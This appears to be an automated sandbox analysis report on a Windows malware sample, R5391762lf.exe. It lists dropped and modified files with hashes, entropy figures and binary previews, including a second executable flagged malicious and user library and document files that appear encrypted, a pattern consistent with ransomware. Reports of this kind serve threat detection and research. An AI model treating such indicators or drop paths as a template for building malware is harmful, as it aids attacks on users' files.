SHA1:	5A20D1FF30218DEA67D3FF7F61E16E5CC958006F
SHA-256:	9C9ED624EAF441B4637D50FE25D386636C5CB59FB69F5B824AFC7CEC6DFFF7F0
SHA-512:	BA90AF804408FFDE34CB5B7D8D4A4B30EA99F66844EE3D272368086A3BAE472347C76440FE93196A457E4FBC10A67B6312A998FD8D30A06001C4B635838FEE35
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......bD}.&%..&%..&%..+w..8%..+w..Y%..+w...%../]..!%..&%..K%.....'%..+w..'%.....'%..Rich&%..................PE..L...W.&d............................?C....... ....@.............................................................................P....................................!..8........................... ...@............ ...............................text...U........................... ..`.rdata....... ......................@..@.data...(^..........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\.curlrc

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.251181947857987
Encrypted:	false
SSDEEP:	6:KWGOINzFTREPVP7/TCZjH6TeWM2Bdh4XTGMa4BdjJquE0dtXqHk7T3eWcii96Z:NGO4zFdER7TCxHupM2ta0c5dDXqOTuWX
MD5:	5D9877AD164FEDD3D6DD86430CBF898F
SHA1:	18F6803680C349B8910B2F4AC18B0DC3E8114224
SHA-256:	5514C56268FED2550E4B0D12C76BB1D5D310B55591E7B4575F60129428A50E58
SHA-512:	B2873C794A85654560B6933D7F99C84D2C2BF3154A1DD77BF70DDC61FD5F1011D2FCEBE13E563B688FD4029846F4228E0C9E7944CFD89B0A903D17BE6EF0C419
Malicious:	false
Preview:	insecX.j?.WT..q.gk...Yk.<..^!..v..W.s..n7.g.l..3....I%.6t d..>.M.5.2......L.G^.v..u.f/b..Q}..M}&....y..^6...D..\<....R.........m.....x...L4VO..a. ...+q(z.nC.../.E....4?9W..\|.%8...jY>.2......v~,s..s.......{L/Y>........a..j.q*..G..n..X.'!X=kV........9?.+doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.371980794739994
Encrypted:	false
SSDEEP:	6:jjqMzPXrs45g5mTYfZJQv+bh9q8RulP5gPbSeNEdU2kK7H9ARj5I19mtXqHk7T3n:b7sR5mMhJV2l0bSeNg2K7Oc19wXqOTuQ
MD5:	6C9E0D605062635933AA0A138DA43823
SHA1:	FEA28060FF54E0846DFB1E2D9D2E0E76ABFB349A
SHA-256:	738F95D8986FBC9246383DDD1D1D930E49A40FF3A2C33CEA4B7CD33A0D1E808D
SHA-512:	76172B42982B9523783ED17970D8EC4AF7AAFA1C95F23709DD5DD69FBC1DEA0734447777D1DE41BBEE3182FCCA2539A20006AB08F447BE2047D9A38E9EA19D64
Malicious:	false
Preview:	%PDFT....._..&....4...Y.4.a._-.R..o..sS..nz....H\|.g.c...@8.....Y'..=.....R.......<...gs]g....(>t.c,v+...O.Nh.;.bn....Js.4L...\..`G........J.`......4z......W.-W.l^M...'..A....A.~.[V.(=...[+V.\.0T......)$u".?:1......2.~..y.2...E..>.].ju/J1{U.I4;.P...o.f.:.....L.....et/..&-.pdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.3290405343752605
Encrypted:	false
SSDEEP:	12:ywrEAXKXU7UCrc4FSsKt7p+eUeOrPXqOTuWcii9a:ywQAaXU73rFSFpZCXq8uWbD
MD5:	7CC8410721B81DBE0A99E341560226D8
SHA1:	E01FB92D7B6B4B3123D30082624D3DBD3903C6B7
SHA-256:	7DF77E80CC2048654054BB2A8E3E26A23E6E7F7CD8AB06ED82E3D518FBFA6C87
SHA-512:	8F264234CFF3BFFEB966B63CA3E8E9524F374F183138A6E6E2088D6D6DDDDDA09D05457315C7347158152461F1D36602140D18EABA3C1C808B7CF8380A247E6F
Malicious:	false
Preview:	%PDFTV..Q.[e.._.);J9.......k-..}.Hz..U.Y..=4.%.M.k.. ^%.C..R....7.R..O.~w+...`..:...i...^.C..Rv.`-...E...U.>\|..p.z$.._y.....v........u#..q./....j.I.x).... ....~+......O..".o.{f$.y...Lc......VN.v].K.)@...Ba/Q.t..@.......o...'0..E....kk.@C.5.2C@..nO.\L...p.6`.....g.G@"....Y*6l.rZ.0.....m.D.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.8556226803976426
Encrypted:	false
SSDEEP:	24:IdCjuWC/Bu4S4S+jAuO5a8pQl9yQ+GwAE13UweviTbQd8JiwcIGXq8uWbD:drC/k/+sTNQ+gE1koGXFuED
MD5:	03A3D3E4E291DB4E1DA21BA238A183C4
SHA1:	2B203D2425043EB8DA682B34C38906A64CA2696C
SHA-256:	4721AD0D4011920A9133C2F8AA8E099DDC3C430CE2B35C2D86CC39D82DB4F910
SHA-512:	0A22963181C082690C40385FAF26604D367523B03B64CDA4B885603DAA067D57389BA27C88608B505E7DFCB32BEB6C9E53A04A127D63FFC15E6DA3B864F823A4
Malicious:	false
Preview:	<?xmlu.-E..4X....E.-...(...0~..Fu+..l...F.5.V.]..`..L.I(..h.....bY...4.A.....Hq&...,..Y>...N..C}.tB.....\WB..AZK9..P...7...%..."q.....7..!.i....h.....;....!..[...`.....".iDLMeZ.\;k.hb...M\|..e.'....7B.....Gz...g..2$.D.Y.......cT.gcE..ofqQ...-b...c.....~..<...... ..o..T0Q\..6......k4U.....U@.C^.u...3..A..]r..i....+P/.xF.R....~B..s.....N1GL..8wQd.[.B.ti.VZ.^...N.^ ..a.@b...]f..[...[d........n..0..............pA......e%....`m...#.h..y2q.....6p%iyj.1..(.....k$67..T.Z....x,e\|..B..S.....s.je.$F..>...w>S...\v.6..5C1.:.....rA.m....d.)._......h.Is.,3.5\j...3A.I...L...."....Ku.0.X..N(s...d...R.9.5.9n8W3...+.X...... aF.o-.N....j.*-.!.G.`z..S.<.....I.;...<....g.4r{...........K.-.l..........;.M[....U_x.d.Y.<sZ.1T......W....+(S....5..':.........h..?&.d:8.%......I..S7.0@..#O...:....G=..U..%..o.....9..v{.>[..7..>..,.<...$....}T.C...4.~K..^.Q.6L.Qs.3s..g.'.......&.........z.~K..f....^..>...">...v..A.._..Ijn.T.M....P....._.....).....rh.l.}..;..k....87...e.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2430
Entropy (8bit):	7.9109537354831145
Encrypted:	false
SSDEEP:	48:hIYnxjeHTUT+RrfWutSMkYZEN4ku61Py+1ZZbU4udhvBuY5FXFuED:LKHTW+BntjwucPFjZb+75f9FuQ
MD5:	2DBE5ACFFF47B451F3C267D00C08F872
SHA1:	8DD26DA70CA06538EB78BBDD4D35358D76A53405
SHA-256:	D3ECF809752C3EF61E7B71A91037302540CF5D1699294C38A2451BEF4B886883
SHA-512:	E1B56A95EF038630FB00718B33E6622AE0F0A55A7BC01A03C29735327B56C0E7DD883F5640227DFC81302564412828D4E51C4F6DDC28557615A4C185E0D087A1
Malicious:	false
Preview:	<?xml.M.V..t......_b..".......3..<....d....i...mF[.......tHWI..+.%...A$4.d..F.sj.......49P7%.'.&g~I@........1..c...N.R.................Zl......v.x}...:.U......s..$......O.'.!;.Mm.:.z..n.87.8x...?._..g...K...[...q.Jv.=;.7.}.o..2...h...'WK....-FT):........L.zX....Q..E.n...-\.....U[b..\...`....XY?.=.......a..1.u/V.T..g.........s4+..^j.+.........F....N.g......]....Z...V...7A9Ee..s....A.Z.G.....B..w`h.........w7..f.`d....{...s$R.4p?...,I..\../T1.Q..._.?H..@.Po.K.U..'N..z!..$..Z.I].......Z.{.njW..}..R..Y.~c.....v..<J..e..]Ce..`XO._R.A{..d...].ww.....VZB.LF$....?...&..l.P..&..(@2.........=?.A....\|q..y.....m.mo ...L..5.......T.Iv..u..6..%\2@`?...E.."V[..R\|....j..w..J..oL..rP...vu..iS.M.W;F..P\|~.7@......8...:...$A....].....py./j..;...w.y..7.......K..P. ih7..$%t.iI$.F.&CJ.Yqt..Z:$..IT.5#.G..A..\_N...\t:.:^.~{.%Pk..@.`.>.f.....B.....@IB..$...W..:.4..Z..>'..j%M[...pA...S..s?.._..Y...5.=S.g.04.#9a.`.....%oc.S..?..M<.Unv.h..f1.....B.....MW3.[...C.!...O.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.925163305764964
Encrypted:	false
SSDEEP:	48:QEoeG/txFVG9kU5EPjEAIYLHmxgmWqsQtHcqWFYZXFuED:5oe+xFVG9kU5CECqqmRPtHcqJFuQ
MD5:	0013CCAFCC55DD0783D96E9548B14BC5
SHA1:	3CCE43159D758FE42FC44D5250EF2B6ED2195B66
SHA-256:	18F82E045B48E426165C8F1D91F8920023B7559DD46128C11CBE21DCEB9DD3E4
SHA-512:	66211ACA244DF59A5E4F780FD57851762E78652287634E2F9F0841D192E5E4291DEFAEF10E0AA0BD9DF865C42B44B8CA7A919BB7AB3F0A0FE5CD299B0CEC42CD
Malicious:	false
Preview:	<?xmlSPt'j ..8f...aV..0#H.d...2y.....(_7`....?.p......E...O.AYT9...;4!..}..Z_...P...U.yF.a.).tH...W.%<.#...#..P.%m2.YS..I~V.5[_..(u..h.Ll?.m.....?$........+A......;.&/[..%..._7.m......1..'....M.NLS...r.....a..z.UR.!....V..x.[.....d......\|.+d.l[H.9..K.-{.\>o .:0....`(.&\|..e..1....?mI.q.....d.......Q.e..>..K.h8...q.x...........zR\7.o.; b.<8m_......;..6.~.i7r.a.....B..z.W;...Qu.Ce.._.O....L.=..5@.nTOQ...(...!u.d=....I.Y.n./$.Q.....y^..;Z...W...6....V...Z<..G.I=.e:i...bx..b..TL.~O.S.....0.c.vA....K./C.5eqY...y'.'.'..K.aA.O./..._E..el......bs^}_..4h.M..[4....hT...ylH.z..?....J...W..>...{..n.,.....q.$.^...T;I.+P..r.$......J.;+..a.!... `.`......1..S.........H.#....._.....L.................jv.b.QR...,V.sl....;w}3`..........\..0+.S..U...d...f.!'k9N...'....S.V..).)..h....:qS..6..-...].g/bALv.P...;.....=...3..$.m...T..WC.b)*u..dQ\|(g. .m....G..i. 6..S.U.........Hw..Vx...^.3L..@..Y(.i.......a.U..5pn).].0....l........9+.{rD...>.......QMn6

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.905799396946135
Encrypted:	false
SSDEEP:	48:2eVDoJRxqkEOGTwSLB/+Sbvcmx3Shi800jBKQWzoqLAouXKgxnXFuED:vD7NLQSbUa3Shh00jIvpU5txXFuQ
MD5:	38000F88697E25964CDEDF9DF3B47826
SHA1:	386095A63C6CF9A1A6306950F49AFC89AA0704EE
SHA-256:	F9AAC78875BEA3B993FF7D0BD07E7889FD18C17C51FE20661CFEA5AF7396CB15
SHA-512:	24B2563F3A552B2C4F81A800C8DEDE8CBE5FF1EE8730DAD1F8C715CC354537B720834976E04F03F78782292698073E9C2A22434232CA085FDCB0CF8BA67F19DC
Malicious:	false
Preview:	<?xml...%.Y.:9.~:k...1.....$Y......G..1j..Z...f..%.o.v..H.....:.(..@e&=...~.P..Qn.WKZt....a(i..Z.vz..6..R.=7........HW^..S..q.t. .....bJ..#....$..X.1L...5.........[.y.g..2......t........ ..6......>.._-.["........>JR,S@..J.H.{J....Cq=Z.)w.).7.......QLa.e.A..b....d.n...""...Ha.=I......Lj...O..).6+jL...z.o.z..(.........2.}.t..lx.`.g..0..._.g.9.a.r.xK./2....U^.&M.A..3-s....4..D.m.R.b.X..........q..Y...[...,.C..<.qDH..l..j..K_...fY.#CQ.......wJgc.............,.X.......o...m...M.sl.6...h.L@..B...Og.~......n.&.......lh<1.s.....8..$>">.\..@^e.#........b...Qn.R.z.Qo.8.S#...0Z$..,....Y;..h.V.e...t...(.H.....s....{.P.,.....nS.\U...\.@g...o.Z.#.4....%..0......f@.h.. ..>..M......>aT....[x.w.-C..t.....Q..@u.B..i..V.u..\.....d.}..>...0...r.].y..:...z.a<?M..K.....~(_..o...~.DC.$...2.}....v...'.....t)....e....x.ON.}..;s..\|s...l`_..$.........k...-..\..w..[-.W\|....B.-i.(..a..../).......5...G.<....O.(-X.v.Q....a...,.79.=......c..$...D}t2N...UR...l.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.827252314753618
Encrypted:	false
SSDEEP:	24:Peie/gviTFbG9BN5VP3X2gm34dFf/CjqDej9/WfOS1jxrJBDgKfjyKEXq8uWbD:PLe4Ks9BNzeGFfacPxrzDgKfjNEXFuED
MD5:	A7568B6C273F2DD8AF401E81CB8B0AEF
SHA1:	3092DDBC1326DB2A593AC33BE5D8CF6FD3C9B71F
SHA-256:	BC6DEF60D751DCA76688EE8875B758C9E19625F867484312C9D05564844A9BFA
SHA-512:	79A28CD135ACC1046DA73F2657CE23323875E7E2D7CA01E65E3504A6279C490966CD179A5DFD03ED485265822DD660B0FBD9DE0D2E73BFE93CC6BDBF738AC0D3
Malicious:	false
Preview:	<?xml.Y....)pL.p}TC...I.,T.0p..D...;.#..ky.1\.f.ze.fz...}.m.hE.......IR.KZzf-.......<.....F......]3a....ff.X....b....n..o.y q....tp.....\|...7.....!.UT.v.i.D...Z'%.>t........M2.Es.V:r..h!.OI....`k/.\.3.WU.....Sx5.DQ.2z'...^.f.1t.b%.1.B..."p]N..&......%..;h.5R....<...<.pR.?.....kp.gJ.....FQs..u.b....o.6.(.Y2..6X.EJ.6..j.2.... .2x......i...3i....L..C.s.$.8.p.?...K.?.o.....[.".......L.b.7:....7.33(z`g.hY..u..;.i..S.&.'W1.T.z..('....C...YW:(.$..\|1..Z.g{(.....Z...4..8.E...g..IV!...6jO0..K.)..k.n...l....d......<T....5x.'.{...p.;v.M.Q!S....Q..,.H.t.u..w...X.5...Y.>.0.Cg.;............I!.....\|.kn..Q2..A.b.y.....f...6{.M.:...4..p.d.3.]...)S..<D.,v.XO.f;[[......\.-{...T1...i.W..,..l.GM....1.g3.R....5.0=z.._..l_.:...).....<.......x.H#.R..2\|..A"._f.f.1.0.I].../.......j.T...N..;2....x....2.....>p.M/.l..[......;.rz..@v%...(..5..g..5... .F..E...i.\|,......n3..K....../m .y].a...-^.7h..._#F\|x...~..I...x.RB.Sg.....jg..m...AUR=..S.........Yo.7.W)......8.^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.910164315392702
Encrypted:	false
SSDEEP:	48:Rkfodj3erIW/61hYhOwuyx91SrbW8YTRH53IiUO1Fc3KJQycKV6XFuED:qwdTe9/Ihu//t8ORZ3IpuC+VxqFuQ
MD5:	D08F05EE3C9EF9915A2EBB20DAE687AE
SHA1:	7F2CC4C462A6AFDDC8B828AA08347105FFAD1DDD
SHA-256:	5D11632F7ABA731083DCD3A4CB4DAAF0D3FE54BB6523D3F0C8CFDC36001788BC
SHA-512:	5F4BEF397A73B4EA5B54D836569485CD80F03A50C656CD6C2489ED692837CF33C3E8143D6E303DB209438198299104ECC98072D4AE843A763BBE74F3C2FBB0D4
Malicious:	false
Preview:	<?xml.......\|3..)g..j..On{.Gt.7....v....#.Gy....I...C......l.,,.....>].... se.....=06~...i~.......L.n...DY.......q.&..<.2.z .24.....b..!}.PK.i. o!K.m7..X.z.i...........7~..9.^...\|]9...X.r.+B^7.o...s..z..Z4[K^..Q .x.r......:Y..Y.."..N....=..^...}..........L..J.;.1....j.....E..z.4........m..I...-.u../...g:.m..=...Dq.85j.w...V.Z...J.J.}4..C.......XF.4.N^..c....3h.\.q%LO..z.30.h... ..dD#&/v..U....0..'.;..)_.KaIHqm.; P{/.$#....1(....U...y.$..0..)......d..eB.E...uSs........o\..".....3..Ay..ri1R`z..I.j-.p.g...V...`2...B.S7....;.@..;.ha[P.....'g..K.1.s..K.O.tp.`.q/....c.l.....}..@...lf...{3..W.F.~p:....BI.L!...Y.....r.....3j....N.....J..+.m.9.../.A...m..6= ...!....v8.t.+0...=.Mi..?.&?j 987Caf"6.....}[.[i@,m..#.......3.;...<...5o.Mx{.Y]5.[P...C........-....:...'.~....0..ij.z..'.3^...[.......C..=g..._p...8.].~R..Q...^.."O.lj3..mm(.o...{....F.w......W...Z..'.sh#..<..m...........4.......Qv......h...UN.z\|.F.Y..l.k...SCNd.U...,G.V....}D.R..l+...C

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ATSCRGPSUM.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85352122732295
Encrypted:	false
SSDEEP:	24:jXu+KcyD/IO0XMeIPoGBOrCenNo+9MpEfO78eFVn8DPoFQ8kyiHzXq8uWbD:7u+KcyDFloGBOmslMpEfOFFVn8DcQ8k/
MD5:	7086B88462B64D50F2F36C54F9AF6E58
SHA1:	EFBFB22ABD3A31B4189AF56A551F9C21F4B95E6E
SHA-256:	361B8F32104AF1A52386B28012290E347017FC6A5106508C6A8710CA02E981E0
SHA-512:	594FF137D38DB83EBBF5A2FEAD8D240AA3208CECDA051C5CD38FA6FBE99E94CE130BD73077EB0F9FB9959B56CB6164B0AD594E5FBF34A919CAD54BA6498DA4DF
Malicious:	false
Preview:	ATSCR......=.x............f...;jK5.w.%.......d.[...[S...D.?....].~...6(.V.I#.9.Q.).A..........:....e.B..(X[.........X3..Q..?.......<.....{.S..0.<K0._}Y.....k.2.t.P....+D.yz.e.!.7;.2....C'k.c..@..U(B...ga`...+.....C_v..^u....,....<.I.6.X...y.z..B`.\|B1..CH@rY.Pi...{...B...n.cx.B..j$....J..f.e.o)%../>.8.I....0...mP.r&.Ri..&.0.0......,%....`.`....#f....F...`..>x...'..7..!...K.^......t..#.$Y<."..Pdt.}..........Kd..sz0.J..IF...8NO...c.bi......~e...7.j..-.j.3.H,Z...WsA...#....u321.....m..{e..S....<.>".s.VO.=.2.@..@]...`.,'.D.6][.....i+....G...."...+1.G.P..)rO.w\..w....\|...]%t.e.W~hI..F#....h..&.!'\|..>.[B.... }vf.7WQ(.9....%U....l...U}._...Q....Mq.y...y...+Yx.w.Y.f.....Sc....t./.#...%..Mg...#...RM.1...p.F.E...%0.?c.aa...]!....LpQf.<r.O..x..S..CUR.G\.....f..}..).t.~cZ..S.Rc..;.ww.w...z..:l..l..1........~..#<.s.....]....#t:F....N(G.....W...0..N3....k..]....V.....G...s.....".O...%td=..-.M#D..p...i...g.y.rM........6.V.....x.Q...-.....^N.>.....u

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.mp3

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861507624643769
Encrypted:	false
SSDEEP:	24:eFjs1fq6GIjV6RqSw4jlCBpFS0n0IjTHKIOa5J5W1HJRsN0RTSpR5ZPBgXq8uWbD:eFjgfyImqSdjVi0IvHNOqubm0Y5gXFuQ
MD5:	A9226EFC34DE56E811041F64780C5553
SHA1:	C164420E1D10679322DC1AAE4443CE7AABD01F3D
SHA-256:	5FC2FE06A46FE07318B2CE3A5868F0F28E6DD5A523868CA6B6DD74065B6F797E
SHA-512:	9CC714BE3270DDC40A97A90ED20952F314B4BB49DCD346C7FB166BCE7FE0EF34FE1744B3772FA582DB7BA9909E873F4DA3C6D20A22E6F14CC5F8D7E676E93496
Malicious:	false
Preview:	BWDRW..Q.m...E...`M..A....`.#d_.r9g<..........7/b....b.)......vq.8....v..r~.t.m6.i0;2..,+.&0.......o.....{H.E?P..T..7....,.......,.TRi......G..{..)d...0l.....#...M..........n.C....<.a, =.%QS..?....4E....Z....iN+...c...;g.Y}..?..x.\|ci..4'..6.c..k.(....p]...y.D..,.......:%.'..HE.+7..A...-..w.sw!..e.....dM.,)l'^.V.v..1haivd..x.h..U........)..fe..3...o.:@4....S\.-....Gp!Vf......\.}....Wo..O.tr".y..Fb..K.../....?...{.4...#0.<l...F.('.F9.q.......r\.....l.A.4..=.."..\|$\.\..U..JWy..X].w......D...p.R.S.;..[Y<-.v...@R.....z....C...h.p.o.+.. ...,.q5z..,.{?.9. .V5 .\>i4....R.J...b.4........Y_.%..o....F....m\.P...t3.#......T/.c..(S..\|K.>.~..B......V..!..}.@',"N..L&<..\|.U.......x.Hs6..K..:....5.z.8........).q.U..-..O.Qw..1.O....::.1.r.x^.P{p..........Y{.....L...'.@*.mz..?..+A.G!K.....q5R..K.\.."s.gF+....T.pK...sL.m_:]~.....D]..x..\.....3......PD....L6..B.Xr.=x\|....[.[...CB.N{....f...l....,L.V...v..;0=.M.6L.t.5w.......gz....c].t.=........mH.J..$

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847152273588831
Encrypted:	false
SSDEEP:	24:3uN81MD9L832UrJqWGm/smSSsKGvZIOfmzSQEEfVhfdDhTcHjcVRXq8uWbD:3081MK3YdOsm6KGxIomzSQEE95hMcVR5
MD5:	0D8B146131ADAF1A96BBB7ED50ED5E9C
SHA1:	BADC222682EFA7C72ED9C900BA91778D3A44E336
SHA-256:	F7A6E8C5A14AF9FCB2AA525968589F2ADE4F150F76FA922ED146FA9AA6F93ABD
SHA-512:	D50F71329C346FDB28E39A7B3D7143183464F05617C77B33F4881EFF32FAD9DEBD0D57858C9CBFCE29E2FCB548E1EEADDBC73ACF31D4A47747156940D077D583
Malicious:	false
Preview:	BWDRW.. .B......X..).....A..s.[?..\...!`..a.v..C...=.N]..{..7.wj..,..n.......^...,E..I....:}.l..3I.f1M...g....'.6S.Z.....f....p...k..+......}......"C.....y..ci.o...I.....c...h.l......S..7g..!....DI.e...8s.8G.....AM..X...@..l..+.lM. .s.^...c..6...m.Dp.L.Gk.q.F..G..p.]"..Q.)...R..c]...rI.;Db..\|.......S..A.FAu....h<.QE...@..BT.....6.....I..B.b.>.....&.. ....BH..,...$......._...s\..0.z.<+-..=3....n.r.?...<..B.3.=..%U.."..&-.0f....T..s_...u..s.....-.x..Z..d..M...L...../.E..5D .;...{...sn...[.ut......]......S.Y..>.Q....I.....hX.Z,.D..#"g....h.,......;....q.....hJ.....l..m.]<...TXO1..ZA.......[{.b.......L..l-.k.}..6]......Z.H.._;T.%%..x..:b.E..co3..}..+..T../.s..v...^14............/6.0.G..Er&...".8..:.bB.........`.e...{...M.._zr-..K<.............F.......+$..q.......7...S>.!.[_o.l..Z.;n.AV..Y..v.F.yQ._v\|.....5.E.h...".c.:.\.........9..9.....(....n;_..&.-....(H.:;%~...j.."..R.%..3..g..ojy..E...r..}Q...[\4.......&c.. . @

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BWDRWEEARI.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8581474170332966
Encrypted:	false
SSDEEP:	24:5dU05ttXh8vC5rcyNwPBOIbsdEs9StnBPBF3cLMaJSCWcNPZr5G9GBzXq8uWbD:vlu8IyOPnsKsSP4Aa4ZyP3RXFuED
MD5:	77D9CEE655E303B65921B8FA0DF2DAD3
SHA1:	30A8BAAEB879731DA14F0717C2D8D3D2C98EF366
SHA-256:	6D04C1078A1145C91E3C825350F3FC080DE32472D2763C22F7875F05B7B2EBE8
SHA-512:	13D1FFAFE30F98010B91BDE48ABC3E11D545821329491D5B4A8E355FEFFACD5E73A98031F9ABBDDEB8F8BB2082D7A3BDB0DE980B969B6D7BB219C71E96B742E8
Malicious:	false
Preview:	BWDRWZ...m^.}.]Z9._...M.. ...`......`..6.u\|..<.e..i$.R.O......u..<.E.......[.cj.......#C!....5.....].hi.}......"....P........?v..G..K.T.OY.Ao.gY....zB'I... 4.h...@Yb.....bO.-5..k..\|G.V..?<...j...@.ZJ..bI...Q.+\Ly..A;./.7.7..;Y>.3Yq...8.@~...Q......;..Y~.z.#....,."j.o....x...k....\.D.y.d...n[.....}.j..><.c.%.5e}h.2ip.Nq...09B.`...T.w..1.CS..TpyX........uF.z...o.no...q...R.).......k@4.{..."....&(..J.[.>X.B..K=..B$.H..^Tvy...p..1.p....D{De........}..zv..x}.1.......4...v.g.5....(g.r-.......[..g..)<.8H..z..X8...U..$...@cj..8..u..sj......4.......y^.'."D,ifp....{A,uN..V.k.....Y....[.1..U.A$}*:..:.`..ni,.j#...y....@L_y.....>^`y..."...`...\|3M?..\|#j...;[.i.N.......Loe...T/....zF...<t.^&..o4595EJ.....`..V.+....)\..Q$.....?.\Q...dg....J.K.!.......x.].B...........[w.F.i.....jq..V..Jw..be.$.`r.&%.F..S.F.?.;.........Nv.e.<.<.p:..'....]..v#.(...DC...+..3.j.w....\|U........}..Mnl^.!2Ff..\...C..H..../.W.=....q{.b....q...6.....-......f..wJn.......W...g.iv....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\EDCVNYNUAA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832765744397671
Encrypted:	false
SSDEEP:	24:8lL6Mk+TcNad/6fyQmzpg/RBA8vVe7XKQ6nLsM0LqRovzIpzX5Y6xFFKXq8uWbD:8lL6MDDMqTdgPA8E7j6n0GIY5dCXFuED
MD5:	56D36DDDBC3DA1ECDCB8A28085582762
SHA1:	E69296F46C1CA0436B1F5F13AE3F916990606C1E
SHA-256:	D7484F39311638C85FE5B23E62FF0861CB0815DECB16A3E710FED34581BAFB1C
SHA-512:	05D2D710E767C8892D600695024CA614E1515057A54FDB224DBE718258B5829611D7D8CA8A5636C54F114CE822CACA3DDBFF154FBA328091000B02AC5716A4B7
Malicious:	false
